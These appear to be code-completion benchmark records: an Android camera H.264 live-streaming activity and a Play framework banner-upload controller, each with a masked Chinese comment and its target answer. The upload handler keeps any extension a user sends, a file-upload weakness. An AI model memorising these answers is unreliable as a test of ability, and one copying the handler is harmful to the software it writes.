View.OnClickListener { String path = Environment.getExternalStorageDirectory() + "/vv831.h264"; int width = 640, height = 480; int framerate, bitrate; int mCameraId = Camera.CameraInfo.CAMERA_FACING_BACK; MediaCodec mMediaCodec; SurfaceView surfaceView; SurfaceHolder surfaceHolder; Camera mCamera; NV21Convertor mConvertor; Button btnSwitch; boolean started = false; private Socket socket; private SurfaceView video_play; private AvcDecode mPlayer = null; private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { super.handleMessage(msg); switch (msg.what) { case 1: Toast.makeText(MainActivity.this, "开启直播失败", Toast.LENGTH_SHORT).show(); break; case 2: Toast.makeText(MainActivity.this, "连接服务器失败", Toast.LENGTH_SHORT).show(); break; case 3: if (!started) { startPreview(); } else { stopPreview(); } break; case 4: Toast.makeText(MainActivity.this, "socket关闭了连接", Toast.LENGTH_SHORT).show(); break; case 5: Toast.makeText(MainActivity.this, "socket断开了连接", Toast.LENGTH_SHORT).show(); break; } } }; private Thread threadListener; @Override protected void onCreate(Bundle savedInstanceState) { getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btnSwitch = (Button) findViewById(R.id.btn_switch); btnSwitch.setOnClickListener(this); initMediaCodec(); surfaceView = (SurfaceView) findViewById(R.id.sv_surfaceview); video_play = (SurfaceView) findViewById(R.id.video_play); surfaceView.getHolder().addCallback(this); surfaceView.getHolder().setFixedSize(getResources().getDisplayMetrics().widthPixels, getResources().getDisplayMetrics().heightPixels); } @Override protected void onResume() { super.onResume(); if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { //申请WRITE_EXTERNAL_STORAGE权限 ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.CAMERA}, 1); } } @Override public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); doNext(requestCode, grantResults); } private void doNext(int requestCode, int[] grantResults) { if (requestCode == 1) { if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { // Permission Granted } else { // Permission Denied // displayFrameworkBugMessageAndExit(); Toast.makeText(this, "请在应用管理中打开“相机”访问权限!", Toast.LENGTH_LONG).show(); finish(); } } } private void initMediaCodec() { int dgree = getDgree(); framerate = 15; bitrate = 2 * width * height * framerate / 20; EncoderDebugger debugger = EncoderDebugger.debug(getApplicationContext(), width, height); mConvertor = debugger.getNV21Convertor(); try { mMediaCodec = MediaCodec.createByCodecName(debugger.getEncoderName()); MediaFormat mediaFormat; if (dgree == 0) { mediaFormat = MediaFormat.createVideoFormat("video/avc", height, width); } else { mediaFormat = MediaFormat.createVideoFormat("video/avc", width, height); } mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, bitrate); mediaFormat.setInteger(MediaFormat.KEY_FRAME_RATE, framerate); mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, debugger.getEncoderColorFormat()); mediaFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1); mMediaCodec.configure(mediaFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE); mMediaCodec.start(); } catch (IOException e) { e.printStackTrace(); } } public static int[] determineMaximumSupportedFramerate(Camera.Parameters parameters) { int[] maxFps = new int[]{0, 0}; List<int[]> supportedFpsRanges = parameters.getSupportedPreviewFpsRange(); for (Iterator<int[]> it = supportedFpsRanges.iterator(); it.hasNext(); ) { int[] interval = it.next(); if (interval[1] > maxFps[1] || (interval[0] > maxFps[0] && interval[1] == maxFps[1])) { maxFps = interval; } } return maxFps; } @Override public boolean onCreateOptionsMenu(Menu menu) { menu.add("看直播"); return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(MenuItem item) { if (item.getTitle().equals("看直播")) { Intent intent = new Intent(this, WatchMovieActivity.class); startActivity(intent); } return super.onOptionsItemSelected(item); } private boolean ctreateCamera(SurfaceHolder surfaceHolder) { try { mCamera = Camera.open(mCameraId); Camera.Parameters parameters = mCamera.getParameters(); int[] max = determineMaximumSupportedFramerate(parameters); Camera.CameraInfo camInfo = new Camera.CameraInfo(); Camera.getCameraInfo(mCameraId, camInfo); int cameraRotationOffset = camInfo.orientation; int rotate = (360 + cameraRotationOffset - getDgree()) % 360; parameters.setRotation(rotate); parameters.setPreviewFormat(ImageFormat.NV21); List<Camera.Size> sizes = parameters.getSupportedPreviewSizes(); parameters.setPreviewSize(width, height); parameters.setPreviewFpsRange(max[0], max[1]); mCamera.setParameters(parameters); // mCamera.autoFocus(null); int displayRotation; displayRotation = (cameraRotationOffset - getDgree() + 360) % 360; mCamera.setDisplayOrientation(displayRotation); mCamera.setPreviewDisplay(surfaceHolder); return true; } catch (Exception e) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); e.printStackTrace(pw); String stack = sw.toString(); Toast.makeText(this, stack, Toast.LENGTH_LONG).show(); destroyCamera(); e.printStackTrace(); return false; } } @Override public void surfaceCreated(SurfaceHolder holder) { surfaceHolder = holder; ctreateCamera(surfaceHolder); } @Override public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) { } @Override public void surfaceDestroyed(SurfaceHolder holder) { stopPreview(); destroyCamera(); } Camera.PreviewCallback previewCallback = new Camera.PreviewCallback() { byte[] mPpsSps = new byte[0]; @Override public void onPreviewFrame(byte[] data, Camera camera) { if (data == null) { return; } ByteBuffer[] inputBuffers = mMediaCodec.getInputBuffers(); ByteBuffer[] outputBuffers = mMediaCodec.getOutputBuffers(); byte[] dst = new byte[data.length]; Camera.Size previewSize = mCamera.getParameters().getPreviewSize(); if (getDgree() == 0) { dst = Util.rotateNV21Degree90(data, previewSize.width, previewSize.height); } else { dst = data; } try { int bufferIndex = mMediaCodec.dequeueInputBuffer(5000000); if (bufferIndex >= 0) { inputBuffers[bufferIndex].clear(); mConvertor.convert(dst, inputBuffers[bufferIndex]); mMediaCodec.queueInputBuffer(bufferIndex, 0, inputBuffers[bufferIndex].position(), System.nanoTime() / 1000, 0); MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo(); int outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0); while (outputBufferIndex >= 0) { ByteBuffer outputBuffer = outputBuffers[outputBufferIndex]; byte[] outData = new byte[bufferInfo.size]; outputBuffer.get(outData); //记录pps和sps if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 103) { mPpsSps = outData; } else if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 101) { //在关键帧前面加上pps和sps数据 byte[] iframeData = new byte[mPpsSps.length + outData.length]; System.arraycopy(mPpsSps, 0, iframeData, 0, mPpsSps.length); System.arraycopy(outData, 0, iframeData, mPpsSps.length, outData.length); outData = iframeData; } // 将数据用socket传输 writeData(outData); mMediaCodec.releaseOutputBuffer(outputBufferIndex, false); outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0); } } else { Log.e("easypusher", "No buffer available !"); } } catch (Exception e) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); e.printStackTrace(pw); String stack = sw.toString(); Log.e("save_log", stack); e.printStackTrace(); } finally { mCamera.addCallbackBuffer(dst); } } }; // 输出流对象 OutputStream outputStream; /** * 将数据传输给服务器 * * @param outData */ private void writeData(final byte[] outData) { new Thread() { @Override public void run() { try { if (!socket.isClosed()) { if (socket.isConnected()) { // 步骤1:从Socket 获得输出流对象OutputStream // 该对象作用:发送数据 outputStream = socket.getOutputStream(); // 步骤2:写入需要发送的数据到输出流对象中 outputStream.write(outData); // 特别注意:数据的结尾加上换行符才可让服务器端的readline()停止阻塞 // 步骤3:发送数据到服务端 outputStream.flush(); byte[] temp = new byte[4]; System.arraycopy(outData, 0, temp, 0, 4); Log.e("writeSteam", "正在写入数据长度:" + outData.length + ",前四个字节的值:" + bytesToInt(temp, 0)); } else { Log.e("writeSteam", "发送失败,socket断开了连接"); } } else { Log.e("writeSteam", "发送失败,socket关闭"); } } catch (IOException e) { e.printStackTrace(); Log.e("writeSteam", "写入数据失败"); } } }.start(); } private List<Byte> byteList = new ArrayList<>(); private List<Integer> index = new ArrayList<>(); private int flag = 0; private void startSocketListener() { byte[] head = {0x00, 0x00, 0x00, 0x01}; // 利用线程池直接开启一个线程 & 执行该线程 // 步骤1:创建输入流对象InputStream threadListener = new Thread() { @Override public void run() { super.run(); while (true) { if (!socket.isClosed()) { if (socket.isConnected()) { try { // 步骤1:创建输入流对象InputStream InputStream is = socket.getInputStream(); if (is != null) { DataInputStream input = new DataInputStream(is); byte[] bytes = new byte[10000]; int le = input.read(bytes); byte[] out = new byte[le]; System.arraycopy(bytes, 0, out, 0, out.length); Util.save(out, 0, out.length, path, true); Log.e("readSteam", "接收的数据长度:" +out.length); if (le != -1) { for (Byte b:byteList){ Log.e("after","上次剩余数据:"+b.byteValue()); } for (byte data : out) { byteList.add(data); Log.e("tag","正在录入数据:"+data); for (Byte b:byteList){ Log.e("tagfter","录入之后的新数据:"+b.byteValue()); } } for (int i = 0; i < byteList.size(); i++) { if (i + 3 <= out.length) { if (byteList.get(i).byteValue() == 0x00 && byteList.get(i + 1).byteValue() == 0x00 && byteList.get(i + 2).byteValue() == 0x00 && byteList.get(i + 3).byteValue() == 0x01) { index.add(i); } } } Log.e("index","index="+index.size()); if (index.size()>=2){ //截取其中的一帧 byte[] frameBy = new byte[index.get(1)-index.get(0)]; int a = 0; for (int i = index.get(0); i <=index.get(1)-1; i++) { frameBy[a] = byteList.get(i).byteValue(); ++a; } //传给H264解码器 for (byte b:frameBy){ Log.e("indecode","传入解码的数据:"+b); } if (frameBy.length!=0){ mPlayer.decodeH264(frameBy); } Log.e("tag","frameBy的长度:"+frameBy.length); //从集合中删除上一帧之前的数据 for (int i = index.get(1)-1; i >=0; i--) { byteList.remove(i); } for (Byte b:byteList){ Log.e("after","删除之后的剩余数据:"+b.byteValue()); } index.clear(); } } } } catch (IOException e) { e.printStackTrace(); } } else { // Log.e("readSteam", "接受失败,socket断开了连接"); } } else { // Log.e("readSteam", "接受失败,socket关闭"); } } } }; threadListener.start(); } public byte[] subBytes(byte[] src, int begin, int count) { byte[] bs = new byte[count]; for (int i = begin; i < begin + count; i++) bs[i - begin] = src[i]; return bs; } public static int bytesToInt(byte[] src, int offset) { int value; value = (int) ((src[offset] & 0xFF) | ((src[offset + 1] & 0xFF) << 8) | ((src[offset + 2] & 0xFF) << 16) | ((src[offset + 3] & 0xFF) << 24)); return value; } /** * 开启预览 */ public synchronized void startPreview() { if (mCamera != null && !started) { mCamera.startPreview(); int previewFormat = mCamera.getParameters().getPreviewFormat(); Camera.Size previewSize = mCamera.getParameters().getPreviewSize(); int size = previewSize.width * previewSize.height * ImageFormat.getBitsPerPixel(previewFormat) / 8; mCamera.addCallbackBuffer(new byte[size]); mCamera.setPreviewCallbackWithBuffer(previewCallback); started = true; btnSwitch.setText("停止"); mPlayer = new AvcDecode(width, height, video_play.getHolder().getSurface()); startSocketListener(); } } /** * 停止预览 */ public synchronized void stopPreview() { if (mCamera != null) { mCamera.stopPreview(); mCamera.setPreviewCallbackWithBuffer(null); started = false; btnSwitch.setText("开始"); try { if (socket != null) { if (socket.isConnected()) { socket.close(); } } } catch (IOException e) { e.printStackTrace(); } // threadListener.stop(); } } /** * 销毁Camera */ protected synchronized void destroyCamera() { if (mCamera != null) { mCamera.stopPreview(); try { mCamera.release(); } catch (Exception e) { } mCamera = null; } } private int getDgree() { int rotation = getWindowManager().getDefaultDisplay().getRotation(); int degrees = 0; switch (rotation) { case Surface.ROTATION_0: degrees = 0; break; // Natural orientation case Surface.ROTATION_90: degrees = 90; break; // Landscape left case Surface.ROTATION_180: degrees = 180; break;// Upside down case Surface.ROTATION_270: degrees = 270; break;// Landscape right } return degrees; } @Override public void onClick(View v) { switch (v.getId()) { case R.id.btn_switch: new Thread(new Runnable() { @Override public void run() { socket = App.getInstance().getSocket(); Message msg = Message.obtain(); if (socket == null) { msg.what = 1; handler.sendMessage(msg); } else if (!socket.isConnected()) { msg.what = 2; handler.sendMessage(msg); } else { msg.what = 3; handler.sendMessage(msg); } } }).start(); break; } } @Override protected void onDestroy() { super.onDestroy(); destroyCamera(); mMediaCodec.stop(); mMediaCodec.release(); mMediaCodec = null; } }
DramaScript/SocketVideo-master
MainActivity.java
4,894
// 利用线程池直接开启一个线程 & 执行该线程
line_comment
zh-cn
/* Copyright (c) 2013-2016 EasyDarwin.ORG. All rights reserved. Github: https://github.com/EasyDarwin WEChat: EasyDarwin Website: http://www.easydarwin.org */ package org.easydarwin.blogdemos; import android.Manifest; import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.ImageFormat; import android.hardware.Camera; import android.media.MediaCodec; import android.media.MediaFormat; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.os.Message; import android.support.v4.app.ActivityCompat; import android.support.v4.content.ContextCompat; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import android.view.Surface; import android.view.SurfaceHolder; import android.view.SurfaceView; import android.view.View; import android.view.WindowManager; import android.widget.Button; import android.widget.Toast; import org.easydarwin.blogdemos.hw.EncoderDebugger; import org.easydarwin.blogdemos.hw.NV21Convertor; import java.io.DataInputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.io.PrintWriter; import java.io.StringWriter; import java.net.Socket; import java.nio.ByteBuffer; import java.util.ArrayList; import java.util.Arrays; import java.util.Iterator; import java.util.LinkedList; import java.util.List; import static android.R.attr.data; /** * @CreadBy :DramaScript * @date 2017/8/25 */ public class MainActivity extends AppCompatActivity implements SurfaceHolder.Callback, View.OnClickListener { String path = Environment.getExternalStorageDirectory() + "/vv831.h264"; int width = 640, height = 480; int framerate, bitrate; int mCameraId = Camera.CameraInfo.CAMERA_FACING_BACK; MediaCodec mMediaCodec; SurfaceView surfaceView; SurfaceHolder surfaceHolder; Camera mCamera; NV21Convertor mConvertor; Button btnSwitch; boolean started = false; private Socket socket; private SurfaceView video_play; private AvcDecode mPlayer = null; private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { super.handleMessage(msg); switch (msg.what) { case 1: Toast.makeText(MainActivity.this, "开启直播失败", Toast.LENGTH_SHORT).show(); break; case 2: Toast.makeText(MainActivity.this, "连接服务器失败", Toast.LENGTH_SHORT).show(); break; case 3: if (!started) { startPreview(); } else { stopPreview(); } break; case 4: Toast.makeText(MainActivity.this, "socket关闭了连接", Toast.LENGTH_SHORT).show(); break; case 5: Toast.makeText(MainActivity.this, "socket断开了连接", Toast.LENGTH_SHORT).show(); break; } } }; private Thread threadListener; @Override protected void onCreate(Bundle savedInstanceState) { getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, WindowManager.LayoutParams.FLAG_FULLSCREEN); super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); btnSwitch = (Button) findViewById(R.id.btn_switch); btnSwitch.setOnClickListener(this); initMediaCodec(); surfaceView = (SurfaceView) findViewById(R.id.sv_surfaceview); video_play = (SurfaceView) findViewById(R.id.video_play); surfaceView.getHolder().addCallback(this); surfaceView.getHolder().setFixedSize(getResources().getDisplayMetrics().widthPixels, getResources().getDisplayMetrics().heightPixels); } @Override protected void onResume() { super.onResume(); if (ContextCompat.checkSelfPermission(this, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) { //申请WRITE_EXTERNAL_STORAGE权限 ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.CAMERA}, 1); } } @Override public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); doNext(requestCode, grantResults); } private void doNext(int requestCode, int[] grantResults) { if (requestCode == 1) { if (grantResults[0] == PackageManager.PERMISSION_GRANTED) { // Permission Granted } else { // Permission Denied // displayFrameworkBugMessageAndExit(); Toast.makeText(this, "请在应用管理中打开“相机”访问权限!", Toast.LENGTH_LONG).show(); finish(); } } } private void initMediaCodec() { int dgree = getDgree(); framerate = 15; bitrate = 2 * width * height * framerate / 20; EncoderDebugger debugger = EncoderDebugger.debug(getApplicationContext(), width, height); mConvertor = debugger.getNV21Convertor(); try { mMediaCodec = MediaCodec.createByCodecName(debugger.getEncoderName()); MediaFormat mediaFormat; if (dgree == 0) { mediaFormat = MediaFormat.createVideoFormat("video/avc", height, width); } else { mediaFormat = MediaFormat.createVideoFormat("video/avc", width, height); } mediaFormat.setInteger(MediaFormat.KEY_BIT_RATE, bitrate); mediaFormat.setInteger(MediaFormat.KEY_FRAME_RATE, framerate); mediaFormat.setInteger(MediaFormat.KEY_COLOR_FORMAT, debugger.getEncoderColorFormat()); mediaFormat.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 1); mMediaCodec.configure(mediaFormat, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE); mMediaCodec.start(); } catch (IOException e) { e.printStackTrace(); } } public static int[] determineMaximumSupportedFramerate(Camera.Parameters parameters) { int[] maxFps = new int[]{0, 0}; List<int[]> supportedFpsRanges = parameters.getSupportedPreviewFpsRange(); for (Iterator<int[]> it = supportedFpsRanges.iterator(); it.hasNext(); ) { int[] interval = it.next(); if (interval[1] > maxFps[1] || (interval[0] > maxFps[0] && interval[1] == maxFps[1])) { maxFps = interval; } } return maxFps; } @Override public boolean onCreateOptionsMenu(Menu menu) { menu.add("看直播"); return super.onCreateOptionsMenu(menu); } @Override public boolean onOptionsItemSelected(MenuItem item) { if (item.getTitle().equals("看直播")) { Intent intent = new Intent(this, WatchMovieActivity.class); startActivity(intent); } return super.onOptionsItemSelected(item); } private boolean ctreateCamera(SurfaceHolder surfaceHolder) { try { mCamera = Camera.open(mCameraId); Camera.Parameters parameters = mCamera.getParameters(); int[] max = determineMaximumSupportedFramerate(parameters); Camera.CameraInfo camInfo = new Camera.CameraInfo(); Camera.getCameraInfo(mCameraId, camInfo); int cameraRotationOffset = camInfo.orientation; int rotate = (360 + cameraRotationOffset - getDgree()) % 360; parameters.setRotation(rotate); parameters.setPreviewFormat(ImageFormat.NV21); List<Camera.Size> sizes = parameters.getSupportedPreviewSizes(); parameters.setPreviewSize(width, height); parameters.setPreviewFpsRange(max[0], max[1]); mCamera.setParameters(parameters); // mCamera.autoFocus(null); int displayRotation; displayRotation = (cameraRotationOffset - getDgree() + 360) % 360; mCamera.setDisplayOrientation(displayRotation); mCamera.setPreviewDisplay(surfaceHolder); return true; } catch (Exception e) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); e.printStackTrace(pw); String stack = sw.toString(); Toast.makeText(this, stack, Toast.LENGTH_LONG).show(); destroyCamera(); e.printStackTrace(); return false; } } @Override public void surfaceCreated(SurfaceHolder holder) { surfaceHolder = holder; ctreateCamera(surfaceHolder); } @Override public void surfaceChanged(SurfaceHolder holder, int format, int width, int height) { } @Override public void surfaceDestroyed(SurfaceHolder holder) { stopPreview(); destroyCamera(); } Camera.PreviewCallback previewCallback = new Camera.PreviewCallback() { byte[] mPpsSps = new byte[0]; @Override public void onPreviewFrame(byte[] data, Camera camera) { if (data == null) { return; } ByteBuffer[] inputBuffers = mMediaCodec.getInputBuffers(); ByteBuffer[] outputBuffers = mMediaCodec.getOutputBuffers(); byte[] dst = new byte[data.length]; Camera.Size previewSize = mCamera.getParameters().getPreviewSize(); if (getDgree() == 0) { dst = Util.rotateNV21Degree90(data, previewSize.width, previewSize.height); } else { dst = data; } try { int bufferIndex = mMediaCodec.dequeueInputBuffer(5000000); if (bufferIndex >= 0) { inputBuffers[bufferIndex].clear(); mConvertor.convert(dst, inputBuffers[bufferIndex]); mMediaCodec.queueInputBuffer(bufferIndex, 0, inputBuffers[bufferIndex].position(), System.nanoTime() / 1000, 0); MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo(); int outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0); while (outputBufferIndex >= 0) { ByteBuffer outputBuffer = outputBuffers[outputBufferIndex]; byte[] outData = new byte[bufferInfo.size]; outputBuffer.get(outData); //记录pps和sps if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 103) { mPpsSps = outData; } else if (outData[0] == 0 && outData[1] == 0 && outData[2] == 0 && outData[3] == 1 && outData[4] == 101) { //在关键帧前面加上pps和sps数据 byte[] iframeData = new byte[mPpsSps.length + outData.length]; System.arraycopy(mPpsSps, 0, iframeData, 0, mPpsSps.length); System.arraycopy(outData, 0, iframeData, mPpsSps.length, outData.length); outData = iframeData; } // 将数据用socket传输 writeData(outData); mMediaCodec.releaseOutputBuffer(outputBufferIndex, false); outputBufferIndex = mMediaCodec.dequeueOutputBuffer(bufferInfo, 0); } } else { Log.e("easypusher", "No buffer available !"); } } catch (Exception e) { StringWriter sw = new StringWriter(); PrintWriter pw = new PrintWriter(sw); e.printStackTrace(pw); String stack = sw.toString(); Log.e("save_log", stack); e.printStackTrace(); } finally { mCamera.addCallbackBuffer(dst); } } }; // 输出流对象 OutputStream outputStream; /** * 将数据传输给服务器 * * @param outData */ private void writeData(final byte[] outData) { new Thread() { @Override public void run() { try { if (!socket.isClosed()) { if (socket.isConnected()) { // 步骤1:从Socket 获得输出流对象OutputStream // 该对象作用:发送数据 outputStream = socket.getOutputStream(); // 步骤2:写入需要发送的数据到输出流对象中 outputStream.write(outData); // 特别注意:数据的结尾加上换行符才可让服务器端的readline()停止阻塞 // 步骤3:发送数据到服务端 outputStream.flush(); byte[] temp = new byte[4]; System.arraycopy(outData, 0, temp, 0, 4); Log.e("writeSteam", "正在写入数据长度:" + outData.length + ",前四个字节的值:" + bytesToInt(temp, 0)); } else { Log.e("writeSteam", "发送失败,socket断开了连接"); } } else { Log.e("writeSteam", "发送失败,socket关闭"); } } catch (IOException e) { e.printStackTrace(); Log.e("writeSteam", "写入数据失败"); } } }.start(); } private List<Byte> byteList = new ArrayList<>(); private List<Integer> index = new ArrayList<>(); private int flag = 0; private void startSocketListener() { byte[] head = {0x00, 0x00, 0x00, 0x01}; // 利用 <SUF> // 步骤1:创建输入流对象InputStream threadListener = new Thread() { @Override public void run() { super.run(); while (true) { if (!socket.isClosed()) { if (socket.isConnected()) { try { // 步骤1:创建输入流对象InputStream InputStream is = socket.getInputStream(); if (is != null) { DataInputStream input = new DataInputStream(is); byte[] bytes = new byte[10000]; int le = input.read(bytes); byte[] out = new byte[le]; System.arraycopy(bytes, 0, out, 0, out.length); Util.save(out, 0, out.length, path, true); Log.e("readSteam", "接收的数据长度:" +out.length); if (le != -1) { for (Byte b:byteList){ Log.e("after","上次剩余数据:"+b.byteValue()); } for (byte data : out) { byteList.add(data); Log.e("tag","正在录入数据:"+data); for (Byte b:byteList){ Log.e("tagfter","录入之后的新数据:"+b.byteValue()); } } for (int i = 0; i < byteList.size(); i++) { if (i + 3 <= out.length) { if (byteList.get(i).byteValue() == 0x00 && byteList.get(i + 1).byteValue() == 0x00 && byteList.get(i + 2).byteValue() == 0x00 && byteList.get(i + 3).byteValue() == 0x01) { index.add(i); } } } Log.e("index","index="+index.size()); if (index.size()>=2){ //截取其中的一帧 byte[] frameBy = new byte[index.get(1)-index.get(0)]; int a = 0; for (int i = index.get(0); i <=index.get(1)-1; i++) { frameBy[a] = byteList.get(i).byteValue(); ++a; } //传给H264解码器 for (byte b:frameBy){ Log.e("indecode","传入解码的数据:"+b); } if (frameBy.length!=0){ mPlayer.decodeH264(frameBy); } Log.e("tag","frameBy的长度:"+frameBy.length); //从集合中删除上一帧之前的数据 for (int i = index.get(1)-1; i >=0; i--) { byteList.remove(i); } for (Byte b:byteList){ Log.e("after","删除之后的剩余数据:"+b.byteValue()); } index.clear(); } } } } catch (IOException e) { e.printStackTrace(); } } else { // Log.e("readSteam", "接受失败,socket断开了连接"); } } else { // Log.e("readSteam", "接受失败,socket关闭"); } } } }; threadListener.start(); } public byte[] subBytes(byte[] src, int begin, int count) { byte[] bs = new byte[count]; for (int i = begin; i < begin + count; i++) bs[i - begin] = src[i]; return bs; } public static int bytesToInt(byte[] src, int offset) { int value; value = (int) ((src[offset] & 0xFF) | ((src[offset + 1] & 0xFF) << 8) | ((src[offset + 2] & 0xFF) << 16) | ((src[offset + 3] & 0xFF) << 24)); return value; } /** * 开启预览 */ public synchronized void startPreview() { if (mCamera != null && !started) { mCamera.startPreview(); int previewFormat = mCamera.getParameters().getPreviewFormat(); Camera.Size previewSize = mCamera.getParameters().getPreviewSize(); int size = previewSize.width * previewSize.height * ImageFormat.getBitsPerPixel(previewFormat) / 8; mCamera.addCallbackBuffer(new byte[size]); mCamera.setPreviewCallbackWithBuffer(previewCallback); started = true; btnSwitch.setText("停止"); mPlayer = new AvcDecode(width, height, video_play.getHolder().getSurface()); startSocketListener(); } } /** * 停止预览 */ public synchronized void stopPreview() { if (mCamera != null) { mCamera.stopPreview(); mCamera.setPreviewCallbackWithBuffer(null); started = false; btnSwitch.setText("开始"); try { if (socket != null) { if (socket.isConnected()) { socket.close(); } } } catch (IOException e) { e.printStackTrace(); } // threadListener.stop(); } } /** * 销毁Camera */ protected synchronized void destroyCamera() { if (mCamera != null) { mCamera.stopPreview(); try { mCamera.release(); } catch (Exception e) { } mCamera = null; } } private int getDgree() { int rotation = getWindowManager().getDefaultDisplay().getRotation(); int degrees = 0; switch (rotation) { case Surface.ROTATION_0: degrees = 0; break; // Natural orientation case Surface.ROTATION_90: degrees = 90; break; // Landscape left case Surface.ROTATION_180: degrees = 180; break;// Upside down case Surface.ROTATION_270: degrees = 270; break;// Landscape right } return degrees; } @Override public void onClick(View v) { switch (v.getId()) { case R.id.btn_switch: new Thread(new Runnable() { @Override public void run() { socket = App.getInstance().getSocket(); Message msg = Message.obtain(); if (socket == null) { msg.what = 1; handler.sendMessage(msg); } else if (!socket.isConnected()) { msg.what = 2; handler.sendMessage(msg); } else { msg.what = 3; handler.sendMessage(msg); } } }).start(); break; } } @Override protected void onDestroy() { super.onDestroy(); destroyCamera(); mMediaCodec.stop(); mMediaCodec.release(); mMediaCodec = null; } }
0
43767_3
package controllers.admin; import java.io.File; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import java.util.Random; import models.mag_article; import models.mag_banner; import models.mag_works; import models.mag_worksclass; import play.Play; import play.libs.Files; import play.mvc.Controller; import com.alibaba.fastjson.JSON; public class Banner extends Controller{ public static void allBanner(){ mag_banner banner = new mag_banner(); renderJSON("{\"data\":"+banner.allBanner()+"}"); } public static void addBanner(String title,String remark,File image,String artclass ,String ardid){ System.out.println(title); System.out.println(remark); System.out.println(image); System.out.println(artclass); System.out.println(ardid); //文件保存目录路径 String savePath = Play.applicationPath.toString()+Play.configuration.getProperty("newsImg.savePath", "/public/upload/"); //文件保存目录URL String saveUrl = Play.configuration.getProperty("newsImg.savePath", "/public/upload/"); if (image != null) { //检查目录 File uploadDir = new File(savePath); if(!uploadDir.isDirectory()){ renderJSON("{\"state\":\"上传目录不存在。\"}"); return; } //检查目录写权限 if(!uploadDir.canWrite()){ renderJSON("{\"state\":\"上传目录没有写权限。\"}"); return; } String ymd = "banner"; savePath += ymd + "/"; saveUrl += ymd + "/"; File dirFile = new File(savePath); if (!dirFile.exists()) { dirFile.mkdirs(); } //检查扩展名 String fileExt = image.getName().substring(image.getName().lastIndexOf(".") + 1).toLowerCase(); SimpleDateFormat df = new SimpleDateFormat("yyyyMMddHHmmss"); String newFileName = df.format(new Date()) + "_" + new Random().nextInt(1000) + "." + fileExt; File f = new File(savePath,newFileName); try { Files.copy(image,f); System.out.println(saveUrl + newFileName); java.text.DateFormat format1 = new java.text.SimpleDateFormat( "yyyy-MM-dd hh:mm"); String timeStr = format1.format(new Date()).toString(); if(artclass == "作品"){ mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "作品"); banner.save(); }else{ mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "文章"); banner.save(); } renderJSON("{\"state\":\"操作成功\"}"); } catch (Exception e) { e.printStackTrace(); renderJSON("{\"state\":\"上传失败\"}"); } }else{ renderJSON("{\"state\":\"请选择文件。\"}"); } renderJSON("{\"status\":\"操作成功\"}"); } public static void getBanner(){ } public static void delBanner(){ } public static void allBannerList(){ List<mag_article> artlist = mag_article.find("order by id desc").fetch(); List<mag_works> worklist = mag_works.find("order by id desc").fetch(); String artStr = JSON.toJSONString(artlist); String worksStr = JSON.toJSONString(worklist); renderJSON("{\"artlist\":"+artStr+",\"worklist\":"+worksStr+"}"); } }
DreamCoord/DreamCMS
app/controllers/admin/Banner.java
959
//检查目录写权限
line_comment
zh-cn
package controllers.admin; import java.io.File; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import java.util.Random; import models.mag_article; import models.mag_banner; import models.mag_works; import models.mag_worksclass; import play.Play; import play.libs.Files; import play.mvc.Controller; import com.alibaba.fastjson.JSON; public class Banner extends Controller{ public static void allBanner(){ mag_banner banner = new mag_banner(); renderJSON("{\"data\":"+banner.allBanner()+"}"); } public static void addBanner(String title,String remark,File image,String artclass ,String ardid){ System.out.println(title); System.out.println(remark); System.out.println(image); System.out.println(artclass); System.out.println(ardid); //文件保存目录路径 String savePath = Play.applicationPath.toString()+Play.configuration.getProperty("newsImg.savePath", "/public/upload/"); //文件保存目录URL String saveUrl = Play.configuration.getProperty("newsImg.savePath", "/public/upload/"); if (image != null) { //检查目录 File uploadDir = new File(savePath); if(!uploadDir.isDirectory()){ renderJSON("{\"state\":\"上传目录不存在。\"}"); return; } //检查 <SUF> if(!uploadDir.canWrite()){ renderJSON("{\"state\":\"上传目录没有写权限。\"}"); return; } String ymd = "banner"; savePath 